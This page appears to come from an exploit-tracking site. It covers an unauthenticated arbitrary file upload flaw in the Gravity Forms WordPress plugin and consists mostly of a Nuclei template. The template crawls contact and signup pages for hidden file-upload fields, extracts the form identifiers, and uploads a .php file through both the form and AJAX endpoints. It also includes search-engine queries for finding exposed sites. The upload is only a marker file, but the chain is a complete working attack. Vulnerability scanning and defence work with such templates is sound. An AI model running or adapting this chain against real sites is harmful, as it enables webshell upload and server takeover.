CVE-2026-84434: WordPress Gravity Forms Plugin <=3.1.0.4 - Unauthenticated Arbitrary File Upload

2026-09-21 Unknown PoC Public

Description

Gravity Forms WordPress plugin version 3.1.0.4 and earlier contains an unauthenticated arbitrary file upload vulnerability caused by bypassing extension validation in hidden file upload fields. Unauthenticated attackers can upload any file type including PHP when a form has a File Upload field configured with Hidden visibility. The bypass works because the server-side extension validation is skipped for fields with gfield_visibility_hidden CSS class.

PoC

id: CVE-2026-84434

info:
  name: WordPress Gravity Forms Plugin <=3.1.0.4 - Unauthenticated Arbitrary File Upload
  author: DhiyaneshDk
  severity: critical
  description: |
    Gravity Forms WordPress plugin version 3.1.0.4 and earlier contains an unauthenticated arbitrary file upload vulnerability caused by bypassing extension validation in hidden file upload fields. Unauthenticated attackers can upload any file type including PHP when a form has a File Upload field configured with Hidden visibility. The bypass works because the server-side extension validation is skipped for fields with gfield_visibility_hidden CSS class.
  impact: |
    Unauthenticated attackers can upload arbitrary files including PHP webshells, enabling remote code execution on the web server leading to full server compromise.
  remediation: |
    Update Gravity Forms to version 3.1.1 or later.
  reference:
    - https://github.com/murrez/CVE-2026-84434
    - https://patchstack.com/database/wordpress/plugin/gravityforms/vulnerability/wordpress-gravity-forms-plugin-3-1-0-4-unauthenticated-arbitrary-file-upload-via-hidden-file-upload-field-vulnerability
    - https://www.wordfence.com/threat-intel/vulnerabilities/id/787e22a9-329b-4e71-bc2a-4f5524fc9356
    - https://docs.gravityforms.com/gravityforms-change-log/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2026-84434
    epss-score: 0.00697
    epss-percentile: 0.51214
    cwe-id: CWE-434
  metadata:
    verified: true
    max-request: 21
    vendor: rocketgenius
    product: gravityforms
    shodan-query: 'http.html:"gravityforms" http.html:"gform_wrapper"'
    fofa-query: 'body="gravityforms" && body="gform_wrapper"'
  tags: cve,cve2026,wordpress,plugin,gravityforms,file-upload,rce,unauth,vkev

variables:
  marker: "{{rand_text_alpha(16)}}"
  fname: "{{rand_text_alpha(10)}}"
  boundary: "NucleiUpload{{rand_text_alpha(12)}}"

flow: |
  http("detect");

  let scanPaths = ["/", "/contact/", "/contact-us/", "/get-in-touch/", "/support/",
                   "/apply/", "/register/", "/signup/", "/donate/", "/quote/",
                   "/request-quote/", "/book/", "/appointment/", "/upload/"];

  let formFound = false;

  for (let i = 0; i < scanPaths.length; i++) {
    set("scan_path", scanPaths[i]);
    http("scan");

    if (template["form_id"] && template["hidden_field_input_name"]) {
      set("found_page_path", scanPaths[i]);
      formFound = true;
      break;
    }
    set("form_id", "");
    set("hidden_field_input_name", "");
  }

  if (!formFound) {
    stop();
  }

  http("submit-page");

  if (!template["upload_file_url"] && !template["upload_rel_url"] && template["gform_ajax_value"]) {
    http("submit-ajax");
  }

  let verifyUrl = template["upload_file_url"] || template["upload_rel_url"] || "";
  if (verifyUrl) {
    if (!verifyUrl.startsWith("http")) {
      verifyUrl = "{{BaseURL}}/" + verifyUrl;
    }
    verifyUrl = verifyUrl.replace(/&amp;/g, "&");
    set("verify_url", verifyUrl);
    http("verify-upload");
  }

http:
  - id: detect
    raw:
      - |
        GET /wp-content/plugins/gravityforms/gravityforms.php HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
        internal: true

  - id: scan
    raw:
      - |
        GET {{BaseURL}}{{scan_path}} HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains_all(body, "gfield_visibility_hidden", "gfield--type-fileupload", "gravityforms")'
        internal: true

    extractors:
      - type: regex
        name: form_id
        part: body
        internal: true
        group: 1
        regex:
          - 'id=["'']?gform_wrapper_([0-9]+)["'']?'

      - type: regex
        name: hidden_field_input_name
        part: body
        internal: true
        group: 1
        regex:
          - 'gfield_visibility_hidden[^>]*>[\s\S]{0,800}?name=["''](input_[0-9]+(?:_[0-9]+)?)["''][^>]*type=["'']file["'']'
          - 'gfield_visibility_hidden[^>]*>[\s\S]{0,800}?type=["'']file["''][^>]*name=["''](input_[0-9]+(?:_[0-9]+)?)["'']'

      - type: regex
        name: form_unique_id
        part: body
        internal: true
        group: 1
        regex:
          - 'name=["'']gform_unique_id["''][^>]*value=["'']([^"'']*)["'']'

      - type: regex
        name: gform_ajax_value
        part: body
        internal: true
        group: 1
        regex:
          - 'name=["'']gform_ajax["''][^>]*value=["'']([^"'']*)["'']'

  - id: submit-page
    raw:
      - |
        POST {{BaseURL}}{{found_page_path}} HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=----{{boundary}}
        Referer: {{BaseURL}}{{found_page_path}}
        Origin: {{RootURL}}

        ------{{boundary}}
        Content-Disposition: form-data; name="is_submit_{{form_id}}"

        1
        ------{{boundary}}
        Content-Disposition: form-data; name="gform_submit"

        {{form_id}}
        ------{{boundary}}
        Content-Disposition: form-data; name="gform_unique_id"

        {{form_unique_id}}
        ------{{boundary}}
        Content-Disposition: form-data; name="gform_target_page_number_{{form_id}}"

        0
        ------{{boundary}}
        Content-Disposition: form-data; name="gform_source_page_number_{{form_id}}"

        1
        ------{{boundary}}
        Content-Disposition: form-data; name="{{hidden_field_input_name}}"; filename="{{fname}}.php"
        Content-Type: application/x-php

        {{marker}}
        ------{{boundary}}--

    matchers:
      - type: dsl
        dsl:
          - 'contains_any(body, "gform_confirmation", "gf-download", "wp-content/uploads/gravity_forms", "is_valid")'


    extractors:
      - type: regex
        name: upload_file_url
        part: body
        internal: true
        group: 1
        regex:
          - 'href=[''"]((?:https?:)?//[^''"]*gf-download=[^''"]+)[''"]'

      - type: regex
        name: upload_rel_url
        part: body
        internal: true
        group: 0
        regex:
          - 'index\.php\?gf-download=[^''"<>\s]+'

  - id: submit-ajax
    raw:
      - |
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=----{{boundary}}
        Referer: {{BaseURL}}{{found_page_path}}
        Origin: {{RootURL}}

        ------{{boundary}}
        Content-Disposition: form-data; name="action"

        gform_ajax
        ------{{boundary}}
        Content-Disposition: form-data; name="gform_ajax"

        {{gform_ajax_value}}
        ------{{boundary}}
        Content-Disposition: form-data; name="is_submit_{{form_id}}"

        1
        ------{{boundary}}
        Content-Disposition: form-data; name="gform_submit"

        {{form_id}}
        ------{{boundary}}
        Content-Disposition: form-data; name="gform_unique_id"

        {{form_unique_id}}
        ------{{boundary}}
        Content-Disposition: form-data; name="gform_target_page_number_{{form_id}}"

        0
        ------{{boundary}}
        Content-Disposition: form-data; name="gform_source_page_number_{{form_id}}"

        1
        ------{{boundary}}
        Content-Disposition: form-data; name="{{hidden_field_input_name}}"; filename="{{fname}}.php"
        Content-Type: application/x-php

        {{marker}}
        ------{{boundary}}--

    matchers:
      - type: dsl
        dsl:
          - 'contains_any(body, "gform_confirmation", "gf-download", "wp-content/uploads/gravity_forms", "is_valid")'
        internal: true

    extractors:
      - type: regex
        name: upload_file_url
        part: body
        internal: true
        group: 1
        regex:
          - 'href=[''"]((?:https?:)?//[^''"]*gf-download=[^''"]+)[''"]'

      - type: regex
        name: upload_rel_url
        part: body
        internal: true
        group: 0
        regex:
          - 'index\.php\?gf-download=[^''"<>\s]+'

  - id: verify-upload
    raw:
      - |
        GET {{verify_url}} HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains(body, "{{marker}}")'
# digest: 4a0a00473045022100e99db565e03867afa3da26762a00b110cc752b0d12ab457df62d36b69daa546d02207096de00ed3294b6b56339f41b6f2a4eb0fc04c469b5a4ecb9a810f818efd400:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.